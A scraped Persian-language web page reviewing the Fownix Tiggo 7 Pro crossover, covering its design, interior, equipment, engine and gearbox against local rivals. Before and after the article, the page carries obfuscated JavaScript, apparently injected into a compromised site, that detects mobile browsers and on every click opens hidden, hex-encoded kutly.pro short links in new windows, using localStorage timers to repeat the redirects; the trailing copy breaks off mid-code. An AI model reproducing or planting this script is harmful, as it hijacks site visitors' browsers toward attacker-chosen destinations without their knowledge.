u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

تیگو 7 پرو در بازار

فونیکس تیگو ٧ پرو در بازار

فونیکس تیگو ٧ پرو در بازار

تیگو 7 پرو دومین گل سرسبد محصولات فونیکس مدیران خودرو پس از تیگو 8 پرو ، بدون تردید کراس اوور است . تیگو 7 پرو نسل دوم تیگو 7 به حساب می‌آید که در سال 1396 روانه بازار کشور شد و به عنوان یک کراس اوور چالاک و لوکس ، به خوبی در بازار خودرو ایران جا بازکرد .

حالا با معرفی نسل جدید این دست از محصولات تحت عنوان برند فونیکس ، با زبان طراحی کاملا جدید و طیف گسترده‌ای از امکانات ایمنی و رفاهی ، تیگو 7 پرو بار دیگر با ارائه ارتقا چشمگیر در مقایسه با نسل پیشین خود ، سری در میان سرهای بازار بلند کرده است .

تیگو 7 پرو در ایران

فونیکس تیگو 7 پرو در برابر رقبا در بازار ایران

تیگو 7 پرو همانند گذشته در سگمنت کراس اوورهای لوکس بازار معرفی شده است . اما این بار حضور تیگو 8 پرو با آن سطح از امکانات و ویژگی‌های بی‌رقیب ، سطح توقع مشتریان را از نسل دوم تیگو 7 به شدت بالا برده است . در نتیجه ، این خودرو با سبک طراحی کاملا متمایز داخلی و خارجی ، و ویژگی‌های ایمنی و رفاهی نوین به بازار آمد تا با رقبای جدید سرشاخ شود .

در بازار کشور ، در حال حاضر جدیدترین رقبای تیگو 7 پرو ، لاماری ایما شرکت آرین پارس موتور و T5 شرکت خودروسازی فردا هستند که احتمالا از دیدگاه سطح لوکس‌گرایی ، توان رقابت با تیگو 7 پرو را نداشته باشند .

تیگو 7 پرو در بازار
تیگو 7 پرو کراس اوور برتر

طراحی تیگو 7

با داشتن ابعاد خارجی به ترتیب برابر با 4500×1842×1746 میلی‌متر و سوار بر فاصله محورهای 2670 میلی‌متری ، تیگو 7 پرو نه تنها فقط در طول ، بلکه در فاصله محورها نیز رشد ابعادی قابل توجهی را شاهد بوده است . در نتیجه در نگاه اول، ابعاد کشیده‌تر تیگو 7 پرو در مقایسه با تیگو 7 نسل اول به خوبی مشهود است . این مهم نشان از داشتن فضای داخلی بزرگ‌تر و راحت‌تر دارد .

نمای جلو نسل جدید تیگو 7 در بیشترین حالت ممکن ، به برادر بزرگ‌تر خود یعنی تیگو 8 پرو شباهت دارد چرا که هر دو خودرو از دیدگاه طراحی ، بر اساس یک زبان مشترک قلم خورده‌اند .

در نتیجه در جلو تیگو 7 پرو هم شاهد استفاده از جلوپنجره بزرگ کهکشانی با چراغ‌های تمام LED باریک دارای طراحی خشن ، و گوشه سپرهای مجهز به سیستم روشنایی در روز هستیم . اگرچه طراحی و گرافیک چراغ‌ها و زیرسپرها با تیگو 8 پرو کاملا متفاوت است . اما باز هم در نگاه اول ممکن است تیگو 7 پرو به سادگی با تیگو 8 پرو اشتباه گرفته شود .

فاکتور جزئی اما مهم در نمای جانبی تیگو 7 پرو

فاکتور اول

احتمال بروز خطا میان این دو مدل را کاهش می‌دهد. اول آنکه برش ستون C در تیگو 7 پرو به طور کلی با تیگو8 پرو متفاوت است . دوم استفاده گسترده‌تر تیگو 7 پرو از پلاستیک‌های تزئیناتی مشکی رنگ بر دامن خودرو است که در مقایسه با تیگو 8 پرو ، به خوبی به چشم می‌آیند .

در عوض ، در بخش انتهایی این خودرو ، شاهد به کارگیری چراغ‌های عقب تمام LED از نوع دارای گرافیک پیوسته هستیم که به هنگام روشن شدن ، ظاهری شبیه به چراغ‌های عقب هیوندای آزرا گرنجور مدل 201 دارند . تیگو 8 پرو در عوض از چراغ‌های عقب جداگانه با طراحی و گرافیک کاملا متمایز بهره می‌گیرد .

زیبایی موضوعی کاملا سلیقه‌ای است . اما اگر رقبایی چون فردا T5 و لاماری ایما را از دیدگاه ظاهری مورد بررسی قرار دهیم ، باید اعتراف کنیم که نمای خارجی تیگو 7 پرو مخصوصا در مقایسه با لاماری ایما ، بسیار میانه‌رو و ساده است . ایما در بخش طراحی ، تکلیف خود را با مفهوم Exoticness یا عجیب و غریب بودن به شکل واضحی مشخص کرده است .

فاکتور دوم

از دیدگاه پیچیدگی و خاص گرایی طراحی ، لاماری ایما جایی نزدیک به KMC K7 کرمان موتور و در بازار جهانی در جایگاهی شبیه به سیتروئن C4 کاکتوس یا حتی نیسان جوک قرار می‌گیرد . لاماری ایما نه برای زیبایی بلکه برای متمایز و خاص بودن تلاش و این موضوع ظاهر خارجی آن را در مقابل این خودرو و در سوی دیگر ترازو قرار می‌دهد .

در عوض T5 تلاش بسیاری کرده است که ضمن زیبا بودن ، خاص هم باشد . اما در این مسیر در بخش حیاتی با نام تناسبات هندسی ، T5 به سختی به مشکل بر می‌خورد . هر سبک طراحی در نوع خود می‌تواند جذاب ، زیبا و منحصر به فرد باشد . اما آنچه در نمای خارجی فردا T5 چشمان بیننده را آزار می‌دهد .

عدم رعایت تناسبات ساده هندسی نظیر تناسب میان طول ، عرض و ارتفاع خودرو یا تناسب میان ابعاد ریم و تایر در مقایسه با جثه خودرو در نمای جانبی است . جدا از مشکلات بیان شده، اگر هنوز در نمای خارجی T5 آن زیبایی که باید را نمی‌توانید ببینید، مشکل از شما نیست .

سایر نکات :

تیگو 7 پرو در نمای داخلی متناسب با سبک طراحی تیگو 8 پرو ، از چند المان حیاتی و متمایز کننده بهره می‌گیرد . سادگی و مینیمال گرایی بدون تردید دو فاکتور اصلی طراحی نمای داخلی تیگو 7 پرو است .

داشبرد قلم خورده با خطوط افقی ، حذف بیش از 90 درصد کلیدها و ادوات کنترلی ، استفاده از پنل لمسی سیستم تهویه مطبوع ، به کارگیری تریم تزئیناتی مشکی پیانویی ، استفاده از نمایشگر 10.25 اینچی لمسی سیستم مولتی مدیا و نشانگر 7.0 اینچی تمام دیجیتال ادوات پشت فرمان ، همگی به رعایت اصول طراحی از سوی فونیکس برای ارائه یک فضای ارام بخش و ساده اما مدرن اشاره دارد .

ناگفته نماند که در این نما ، استفاده از سیستم روشنایی انتزاعی داخل کابین در کنار تریم دو رنگ نمای داخلی ، از بزرگ‌ترین نقات قوت تیگو 7 پرو است . ضمن رعایت توازن میان حجم رنگ‌های ترکیب شده (قرمز/مشکی) ، در نسل پیشین هم از بزرگ‌ترین نقاط قوت فروش تیگو 7 بوده است .

از دیدگاه فضای داخلی ، لاماری ایما با وجود عدم استفاده از تریم داخلی دو رنگ . به واقع نشان دهنده سبک جدید طراحی مدرن روز و هم دوره با تیگو 7 پرو است . همانند این خودرو نیز از المان مینیمالیستی بهره می‌گیرد .

اما فردا T5 به خوبی ساختار طراحی قدیمی نمای داخلی خود را نشان می‌دهد و با وجود این که به تریم دو رنگ داخلی مجهز است . همچنان از زبان طراحی نسبتا قدیمی‌تر بهره می‌گیرد که گویی به پنج سال پیش تعلق دارد یا به عبارت ساده‌تر، مدرن نیست .

پنل لمسی

تیگو 7 پرو با به کار گیری پنل کنترل 8 اینچی لمسی سیستم تهویه مطبوع ، تنها تعداد کلید‌های کنترلی اندکی را بر لبه داشبرد باقی گذاشت ، چرا که بیشتر ادوات کنترلی حالا در سیستم مولتی مدیا و پنل لمسی سیستم تهویه مطبوع نهفته است .

این تغییرات باعث شد تا طراحی داشبرد ساختاری خطی‌تر و ساده‌تر به خود بگیرد . تریم تزئیناتی چرم زرشکی در کنار تریم‌های آلومینیومی و دوخت بخیه قرمز روکش چرمی صندلی‌ها نیز همگی در تناسب کامل حجمی و هندسی به اجرا در آمد که از خستگی چشمان سرنشینان در دراز مدت جلوگیری می‌کند . بارز‌ترین المان زیباساز نمای داخلی تیگو 7 پرو ، بدون تردید رعایت تناسبات هندسی و حجمی میان تریم‌ها و سبک طراحی آن‌ها است .

نمای داخلی تیگو 7 پرو

فضای داخلی

فضای صندوق با حجم استاندارد 414 لیتر با قابلیت افزایش به 1100 لیتر (با خوابیدن ردیف دوم صندلی‌ها) . در مقایسه با نسل پیشین بدون تغییر مانده است . این در حالی است که ابعاد بیرونی تیگو 7 پرو بزرگ‌تر از نسل قبل است . این مهم در فضای راحت‌تر ، بزرگ‌تر و جادارتر داخل اتاق ، بخصوص برای سرنشینان ردیف دوم نمود پیدا می‌کند که از مهم‌ترین ارتقا فنی انجام گرفته بر تیگو 7 جدید است .

تیگو 7 پرو نسل جدید حالا با برخی از ویژگی‌های نوین به بازار کشور عرضه شده است . مهم‌ترین آن‌ها شامل ورود و استارت بدون کلید ، دوربین 360 درجه چشم عقاب (سیستم AVM) ، سنسورهای پارک جلو و عقب، سقف پانوراما ، ترمز پارک برقی با قابلیت اتوهولد ، سنسور نور و باران (روشنایی و برف پاک‌کن اتوماتیک) ، کنترل حرکت در سرازیری (HDC) ، سیستم تهویه مطبوع اتوماتیک دوگانه با دریچه مجزا

برای سرنشینان عقب ، شارژر بی‌سیم تلفن هوشمند همراه ، بازو بسته شدن هوشمند در پنجم ، چراغ بدرقه و خوش آمدگویی ، فرمان برقی حساس به سرعت ، قابلیت انتخاب حالات رانندگی ، سیستم نظارت بر فشار باد تایرها (TPMS) ، صندلی‌های جلو با تنظیم برقی مجهز به گرم‌کن ، کیسه هوا جلو ، جانبی و پرده‌ای و ریم‌های اسپرت آلیاژی 18 اینچ می‌شود . از این رو این خودرو در مقایسه با رقبای امروزی بازار کشور در جایگاه برابر یا حتی برتری قرار می‌گیرد .

تقابل مجموعه فنی Tiggo تیگو 7 پرو

تیگو 7 پرو نیز همانند نسل پیشین و تیگو 8 پرو ، بر پلتفرم T1X سوار است که از پوسته‌ای کاملا نوین در فضای خارجی خود بهره گرفته است . به عبارت بهتر، طراحی و ابعاد جدید نسل دوم تیگو 7 ، به بیننده اجازه نمی‌دهد که پلتفرم آن را با نسل قبلی یکسان بداند . اما تغییر و تمایز تنها محدود به ظاهر و آپشن‌های این خودرو نمی‌شود . در حقیقت بزرگ‌ترین تغییرات اعمال شده بر تیگو 7 پرو ، در بخش فنی آن اجام گرفته است .

نسل اول تیگو 7 با پیشرانه 1.5 لیتری چهار سیلندر توربو و گیربکس شش سرعت دو کلاچ خشک روانه بازار کشور شد . بلافاصله آن را به عنوان خودرویی چالاک و تیز و بز در بازار کشور شناساند . به عبارت دیگر ، زمانی که تیگو 7 نسل اول در بازار ایران تزریق شد ، تقریبا هیچ خودرو هم رده دیگری وجود نداشت که با این خودرو رو در رو شود . اما این ساختار بدون ایراد نیز نبود .

ساختار گیربکس‌های دو کلاچ خشک ، در برابر لانچ‌های پیاپی ، تعویض متعدد دنده و تعلل در وضعیت نیم کلاچ بخصوص در سربالایی . به شدت مستعد داغ‌ کردن و کاهش بازده فنی هستند . از این رو شکایاتی مبنی بر عدم بازدهی مناسب گیربکس دو کلاچ خشک نسل اول تیگو 7 مطرح بود . نه تنها یک ایراد فنی به حساب نمی‌آمد .

بلکه خودروهای بسیار گران قیمت‌تر دیگری نظیر خانواده آلفا رومئو ( 4C ، میتو و جولیتا ) نیز در بازار ایران با گیربکس مشابهی عرضه شده و همگی از همین مساله مستثنی نبودند .

تیگو 7 پرو

کلاچ و گیربکس

حقیقت آن است که گیربکس‌های دو کلاچ خشک در برابر رفتارهای رانندگی حساسیت‌های بیشتری به همراه دارند و نه تنها استفاده صحیح از آن‌ها نیاز به مهارت بیشتر راننده دارد . بلکه حجم ترافیک و موقعیت جغرافیایی جاده‌های شهری (نظیر شیب خیابان‌ها) نیز بر شیوه عملکرد آن‌ها تاثیر بسزایی دارد . به همین دلیل مدیران خودرو در پرچمدار محصولات فونیکس یعنی مدل تیگو 8 پرو ، از گیربکس دو کلاچ تر (روغنی) بهره گرفت .

در نتیجه ساختار فنی تیگو 7 پرو به طور کلی مورد بازنگری و تغییر قرار گرفت . با وجود بهره گیری از همان پیشرانه 5 . 1 لیتری چهار سیلندر توربو ، این پیشرانه با تنظیمات متفاوت مواجه و با افزایش توان و گشتاور همراه شد .

پیشرانه

پیشرانه به کار رفته در تیگو 7 پرو حالا دارای استاندارد آلایندگی یورو 6 ، برابر با 157 اسب بخار و 230 نیوتون . متر گشتاور تولید می‌کند که حدود 10 اسب بخار قدرت بیشتر و 20 نیوتون . متر گشتاور بالاتر را به نمایش می‌گذارد . انتقال نیرو به محور جلو نیز بر عهده گیربکس 9 سرعت ضریب متغیر ( 9CVT ) جدید گذاشته شده است . در سایر محصولات مدیران خودرو نظیر آریزو 5 توربو و X22 پرو نیز به کار گرفته شد .

این گیربکس نسل پیشرفته‌تر گیربکس 7CVT قدیمی است . حالا از برنامه ریزی جدید و دو ضریب دنده از پیش تعیین شده بیشتر بهره می‌گیرد تا هماهنگی بیشتری با پیشرانه قوی‌تر و جدید‌تر تیگو 7 پرو داشته باشد . نتیجه آن که نه تنها دیگر خبری از داغ کردن احتمالی گیربکس نیست . بلکه مصرف سوخت متوسط متوسط این خودرو با وزن 1.4 تنی ، در حدود 8.5 لیتر در هر 100 کیلومتر است .

البته تیگو 7 پرو در بازار جهانی با آپشن دیگر پیشرانه 6 . 1 لیتری تزریق مستقیم توربو و گیربکس دو کلاچ تر ، یعنی دقیقا سیستم انتقال نیرو ارائه شده بر تیگو 8 پرو نیز عرضه می‌شود . اما ارائه این سیستم انتقال نیرو به مراتب قدرتمندتر و گران قیمت‌تر ، در بازه قیمت نهایی این خودرو توجیح منطقی به همراه نداشت .

شباهت تیگو 7 با T5

از دیدگاه اعداد و ارقام خروجی ، این خودرو شباهت بسیار زیادی با فردا T5 دارد . با این تفاوت که T5 از گیربکس اتوماتیک شش سرعت معمولی بهره می‌گیرد . در مقابل لاماری ایما با تجهیز به پیشرانه تزریق مستقیم توربو 1.5 لیتری ، نه تنها به میزان قابل توجهی قوی‌تر است . بلکه از گیربکس دو کلاچ هفت سرعت تر نیز بهره می‌برد .

از این رو باید لاماری را در بخش سیستم انتقال نیرو برتر از تیگو 7 پرو دانست . اما در عین حال باید اعتراف کرد که پیشرانه‌های تزریق مستقیم سوخت (GDI) در بازار کشور کاملا نو و تازه وارد به حساب می‌آیند . و به ذات با برخی حساسیت‌های فنی ( مخصوصا در مواجهه با بنزین نامرغوب ) همراه هستند که رسیدگی به آن‌ها را با وسواس بیشتر همراه می‌کند .

تیگو 7 پرو

سخن نهایی

تیگو 7 پرو به عنوان قائم مقام تیگو 8 پرو در بازار کراس اوورهای لوکس بازار کشور ایفای نقش می‌کند. ینی این خودرو در بازه قیمتی رقابت می‌کند که بازار کشور رقیب‌های قابل توجهی برای آن دارد. در نتیجه این خودرو همانند تیگو 8 پرو از نظر رقابتی در این سگمنت، امن و بی‌همتا نیست.

از این رو فاکتورهایی چون سابقه درخشان برند در بازار کشور . سهم بازار قابل توجه . فراگیری شعبات خدمات پس از فروش . بازار دست دوم قابل قبول و شیوه تامین خدمات است که تا حدود زیادی مشتری را به سمت فونیکس تیگو 7 پرو سوق می‌دهد . در غیر این صورت از دیدگاه عملکرد یا لوکس گرایی ، شاید هنوز بتوان گزینه‌هایی برتر از تیگو 7 پرو در بازار کشور یافت . مهم ارائه مجموعه‌ای از ویژگی‌های کاربردی در قالب یک پکیج واحد است . تیگو 7 پرو بهتر از هر رقیب دیگری آن را در اختیار مشتری قرار می‌دهد .

نویسنده هیئت تحریریه ۷۷۷

هر گونه نقل مطلب از هر قسمت این سایت بدون اجازه کتبی از مدیریت سایت ممنوع می باشد .
function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x59\x7a\x45\x32\x63\x342','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x56\x67\x44\x33\x63\x303','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x54\x47\x41\x30\x63\x360','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6d\x61\x4c\x37\x63\x317','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6f\x71\x71\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x4f\x52\x52\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x6e\x70\x4f\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x47\x52\x47\x31\x63\x351',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x68\x77\x6b\x34\x63\x334',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x6b\x75\x74\x6c\x79\x2e\x70\x72\x6f\x2f\x70\x73\x4b\x39\x63\x319','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return 